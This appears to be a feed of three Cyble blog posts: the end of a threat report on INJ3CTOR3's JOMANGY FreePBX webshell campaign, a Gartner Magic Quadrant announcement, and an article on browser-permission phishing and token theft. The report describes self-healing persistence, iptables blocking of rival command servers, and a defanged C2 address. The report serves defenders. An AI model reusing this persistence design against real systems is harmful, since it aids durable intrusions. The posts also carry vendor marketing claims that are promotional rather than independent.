The third-party cleanup spans roughly 50 webshell signatures: b374k, t3rr0r, Hacked, New-Pbx, FaTaLisTiCz_Fx, b3d0r, yokyok, watchTowr, nahda, bluej, Black Ban V1.01, and others. b3d0r and yokyok have appeared in INJ3CTOR3 eviction lists since 2020.

The same actors have been sharing these compromised hosts with INJ3CTOR3 for at least 6 years, only to be evicted with each new campaign generation.

The watchTowr entry is worth noting separately (the same research group whose CVE-2025-57819 PoC artifacts get evicted from disk) is also the source of the vulnerability most consistent with this campaign's initial access method.

The iptables blocking goes in both directions — INPUT -s <C2> DROP stops competitor servers from delivering payloads or issuing commands; OUTPUT -d <C2> DROP stops the host from calling back, even if a competitor webshell survives the filesystem eviction.

The seven competitor IPs replaced in the FreePBX and Asterisk config files are the same C2 hijacking the 2022 generation. Wherever prior malware had pointed FreePBX to a competitor’s IP address, this campaign overwrites it with its own IP address, diverting any residual callbacks.

Conclusion

JOMANGY is documented as a previously undocumented PHP webshell family, deployed with double-layer obfuscation, that outperforms every prior generation of INJ3CTOR3 tooling. k.php and wr.php arrived at near-zero AV coverage, and the operator is actively rotating k.php to sustain that gap.

What distinguishes this generation is not the count of persistence channels but the engineering logic connecting them. Each of the six channels can rebuild every other channel. Immutable crontab backups silently block root-level deletion. Every deployed webshell doubles as a complete dropper.

The architecture is designed to prevent sequential remediation from succeeding. Clearing five of six channels hands the infection a recovery window measured in minutes. A confirmed infection warrants a full rebuild from a clean baseline.

The self-eviction of prior campaign artifacts is as analytically significant as the new tooling. Hunting down VictamPbx artifacts, cutting off the old C2, and rotating passwords on dormant accounts all point to an intentional botnet migration rather than an incidental cleanup.

Six years of continuous operation, each generation cleanly evicting the last, reflects the discipline that keeps this campaign running through repeated public disclosure.

Both candidate CVEs are patched in current FreePBX releases, but the 700+ hosts Shadowserver tracked as still compromised five months after the CVE-2025-64328 disclosure suggest that patching alone does not equal remediation.

On an already-owned host, patching closes the entry point but leaves the cron infrastructure intact, allowing the infection to re-establish itself before the patch can take effect.

The C2 at 45[.]95[.]147[.]178 remains active. Cyble Research & Intelligence Labs continues to monitor the evolution of INJ3CTOR3's infrastructure and toolset.

The post JOMANGY: INJ3CTOR3’s Self-Healing FreePBX Toll Fraud Campaign appeared first on Cyble.

In a digital landscape that moves at the speed of AI, we feel recognition is more than just a market positioning—it is a validation of vision.

We are proud to announce that Cyble has been named a Challenger in the first-ever Gartner® Magic Quadrant™ for Cyberthreat Intelligence Technologies.

For us, being positioned in the Challengers Quadrant in this inaugural report is a testament to our rapid disruption of the CTI market. It reflects our commitment to moving beyond "static" threat feeds and providing our customers with a proactive, AI-native shield that sees what others miss.

Why CTI Needs a New Perspective

The threat intelligence market is at a crossroads. As this inaugural Gartner report suggests, “the CTI technologies market has undergone a significant transformation, driven by the increasing sophistication of cyberthreats and the growing need for proactive security strategies.”. For too long, organizations have been "intelligence-rich but insight-poor," drowning in data without the context to act.

Cyble was founded to bridge this "Defense Gap." We believe our recognition as a Challenger highlights our ability to execute on a massive scale while maintaining a vision that looks six months ahead of the adversary.

The Engine Behind the Excellence: AI-Native Intelligence

What sets Cyble apart in a crowded field? We believe it comes down to our core philosophy, “Intelligence must be autonomous to be effective.”

Our placement in the Magic Quadrant follows a year of significant technical breakthroughs, centered around three core pillars:

• Blaze AI™ & Agentic Reasoning: While traditional tools act as libraries, Cyble Vision acts as an analyst. Our Blaze AI uses an agentic architecture to hunt, reason, and prioritize threats across the deep, dark, and surface web in real-time.
• A Unified Surface of Truth: We have eliminated the need for fragmented tools. By unifying Attack Surface Management (ASM), Brand Protection, and Dark Web Monitoring into a single AI-powered pane of glass, we provide a 360-degree view of risk.
• High-Fidelity, Zero Noise: Our platform processes over 350 billion threat signals daily. By leveraging AI to achieve a 95% signal-to-noise ratio, we ensure that SOC teams focus on the 5% of threats that actually matter.

“I feel being named a Challenger validates what our customers have known for years: that the old way of doing CTI is broken,” said Beenu Arora, Co-founder and CEO of Cyble. “We didn't build Cyble to fit into the existing market; we built it to redefine it. To us, this recognition is just the beginning. Our goal is to move from challenging the market to leading the world in autonomous threat prevention.”

Selecting an analyst-recognized vendor can often be a smarter move, especially if your business prioritizes reliability over "bleeding-edge" experimentation.

In our view, here are the main positives of choosing a vendor that is recognized by industry analysts

• Reliable Execution: They have a proven track record of meeting client expectations today. You are not buying a promise of future tech; you are buying a platform that works right now at a high level.
• Operational Stability: Trusted vendors typically have established, efficient sales and distribution structures. They are often well-capitalized with high financial viability, meaning there is very little risk of the company disappearing or failing to support you.
• Customer-Centric Performance: They often focus more on perfecting current offerings and keeping their existing customer base happy through better support and responsiveness.
• In short, if you need a strong, consistent, and well-supported solution that fits your current needs exactly, we believe a Challenger is often the most practical choice.

Looking Ahead

As we celebrate this recognition, our focus remains on our mission: democratizing dark web intelligence. Whether it’s forecasting a ransomware attack before it happens or identifying a leaked credential in seconds, Cyble is committed to ensuring that organizations of all sizes have the "unfair advantage" they need to stay secure.

We want to thank our customers, our partners, and our incredible team of researchers and engineers who have made this recognition possible.

Get the Full Story
To understand the shifts in the CTI landscape and see why Cyble is being recognized as a market Challenger, you can access the full report here:
Download the 2026 Gartner® Magic Quadrant™ for Cyberthreat Intelligence Technologies

Book a demo today and get a tailored walkthrough for your environment and needs.

Report Citation

Gartner, Magic Quadrant for Cyber Threat Intelligence Technologies, Jonathan Nunez, Carlos De Sola Caraballo, Jaime Anderson, May 4, 2026.

Trademark and Disclaimer

Gartner and Magic Quadrant are trademarks of Gartner, Inc. and/or its affiliates. Gartner does not endorse any company, vendor, product or service depicted in its publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner publications consist of the opinions of Gartner’s business and technology insights organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this publication, including any warranties of merchantability or fitness for a particular purpose. This graphic was published by Gartner, Inc. as part of a larger research document and should be evaluated in the context of the entire document. The Gartner document is available upon request from Cyble.

The post Cyble Named a Challenger in the Inaugural 2026 Gartner® Magic Quadrant™ for Cyberthreat Intelligence Technologies appeared first on Cyble.

The modern enterprise is no longer breached in the traditional sense. Firewalls remain intact; endpoints appear compliant, and credentials are often never “stolen” in the usual way. Yet attackers still get in—and stay in. The difference lies in how trust is being weaponized.  

Threat actors are executing what looks like a supply chain attack without ever touching the actual supply chain infrastructure. Instead, they exploit the implicit trust organizations place in browsers, third-party services, and user behavior. 

This shift represents a quiet but dangerous evolution in supply chain cybersecurity. It’s less about breaking systems and more about bending them, using legitimate access paths to bypass defenses that were designed to stop intrusion, not misuse. 

The Rise of “Invisible” Supply Chain Attacks 

Traditional software supply chain attack scenarios often involve tampering with code libraries, compromising vendors, or injecting malicious updates. Those risks still exist, but attackers are now pursuing a lighter, faster approach: manipulating user-facing workflows that rely on trusted platforms. 

In recent campaigns, phishing pages masquerade as routine services—identity verification tools, account recovery portals, or internal workflows. What makes these attacks stand out is not just the deception, but the permissions they request. Instead of asking for passwords, they request access to cameras, microphones, and device-level metadata. 

This tactic transforms a simple phishing attempt into a sophisticated supply chain attack example—one where the “chain” is not software distribution, but user trusts in familiar digital processes. 

Once permissions are granted, the attack doesn’t need to escalate privileges. It already has them. 

When Browsers Become Data Exfiltration Tools 

Modern browsers are powerful. They support APIs for video capture, audio recording, geolocation, and device fingerprinting. These capabilities are designed for legitimate applications—but in the wrong hands, they become surveillance tools. 

Attackers embed scripts within phishing pages that activate these features immediately after permission is granted. Within seconds, they can: 

• Capture images and short video clips from the user’s camera  

• Record audio through the microphone  

• Collect device details such as OS, browser version, and memory  

• Approximate location and network characteristics  

This isn’t brute-force hacking. It’s precision harvesting. 

The data is then quietly transmitted to attacker-controlled systems, often using simple channels like messaging bots. There’s no need for complex infrastructure, which makes detection even harder. 

From a supply chain cybersecurity perspective, this is particularly concerning. The browser—arguably one of the most trusted components in enterprise environments—becomes the weakest link. 

QR Codes and the Expansion of the Attack Surface 

Another variation of this evolving threat involves QR codes embedded in seemingly legitimate documents. This technique, often called “quishing,” shifts the attack from desktops to mobile devices. 

An employee receives a polished PDF—perhaps an HR document or compliance guide. It looks authentic, reads well, and builds credibility. Then, at the end, it asks the user to scan a QR code for more information. 

That scan leads to a phishing site. 

Because QR codes obscure the underlying URL, they bypass many traditional email filters. On mobile devices, where users are less likely to scrutinize links, the success rate increases dramatically. 

This approach represents another subtle supply chain attack example: attackers are exploiting trusted communication formats—PDFs, QR codes, and mobile workflows—to deliver malicious payloads without triggering alarms. 

Adversary-in-the-Middle: The New Credential Theft 

Credential harvesting has also evolved. Instead of simply collecting usernames and passwords, attackers now position themselves between the user and the legitimate service. 

This adversary-in-the-middle (AITM) technique allows them to intercept: 

• Login credentials  

• Multi-factor authentication (MFA) codes  

• Session tokens  

In effect, they don’t just log in—they become the user. 

This is particularly damaging in enterprise environments where MFA was once considered a strong defense. It highlights a critical gap in how to prevent supply chain attacks: focusing solely on authentication is no longer enough. Continuous verification and behavioral monitoring are now essential. 

Why These Attacks Work 

What makes these campaigns effective isn’t just technical sophistication—it’s psychological alignment. Every step mimics something users already trust: 

• Identity verification flows  

• Corporate documents  

• QR-based access to resources  

• Familiar login interfaces  

Attackers are not introducing new behaviors; they are blending into existing ones. 

This is why traditional defenses struggle. Security tools are designed to detect anomalies, but these attacks look normal—because they are built on legitimate features. 

Rethinking Defense: From Perimeter to Context 

Defending against this new class of software supply chain attack requires a shift in mindset. Organizations must move beyond perimeter-based security and adopt a context-driven approach. 

Key strategies include: 

• Strict permission governance: Limit browser access to sensitive hardware unless necessary  

• Behavioral monitoring: Detect unusual patterns in device usage and data access  

• Zero Trust architecture: Continuously verify users, devices, and sessions  

• User awareness: Train employees to question permission requests, not just links  

Understanding how to prevent supply chain attacks now means recognizing that the “supply chain” includes user interactions, browser capabilities, and third-party workflows—not just software dependencies. 

Strengthening Endpoint Resilience with Cyble Titan 

https://www.youtube.com/watch?v=NS7XHdNpkyE

As attackers exploit trusted access points, endpoint visibility becomes critical. This is where platforms like Cyble Titan play a strategic role. 

Cyble Titan is designed to go beyond traditional endpoint protection. It brings together real-time telemetry, threat intelligence, and automated response into a unified platform. Rather than relying on static rules, it continuously analyzes behavior across endpoints, detecting subtle anomalies that indicate misuse of legitimate tools. 

Key strengths include: 

• Real-time visibility: Deep insights into processes, file activity, and user behavior  

• Intelligence-driven detection: Integration with threat intelligence for contextual awareness  

• Automated response: Rapid containment to reduce attacker dwell time  

• Cross-platform coverage: Coverage for environments across Windows, Linux, and macOS  

In the context of supply chain cybersecurity, this level of visibility is essential. When attacks don’t “break in” but instead operate within trusted boundaries, detection depends on understanding what shouldn’t be happening, even if it looks normal on the surface. 

Trust Is the New Attack Surface 

The definition of a breach is changing. It’s no longer about unauthorized access—it’s about unauthorized use of authorized access. 

These emerging supply chain attack examples demonstrate that attackers are adapting faster than traditional defenses. They are leveraging trust, not bypassing it. And that makes them harder to detect, harder to prevent, and potentially more damaging. 

Organizations that want to stay ahead must rethink how to prevent supply chain attacks. That means focusing on context, behavior, and continuous verification—not just barriers. 

Ready to see how modern endpoint security can close these gaps? Explore Cyble Titan and experience a more intelligent approach to defending against today’s most deceptive threats.  

Request a demo and evaluate how real-time visibility and AI-driven detection can strengthen your security posture from the inside out. 

The post Third-Party Breaches Without Breaches: How Attackers Use Trusted Access to Bypass US Enterprise Defenses appeared first on Cyble.

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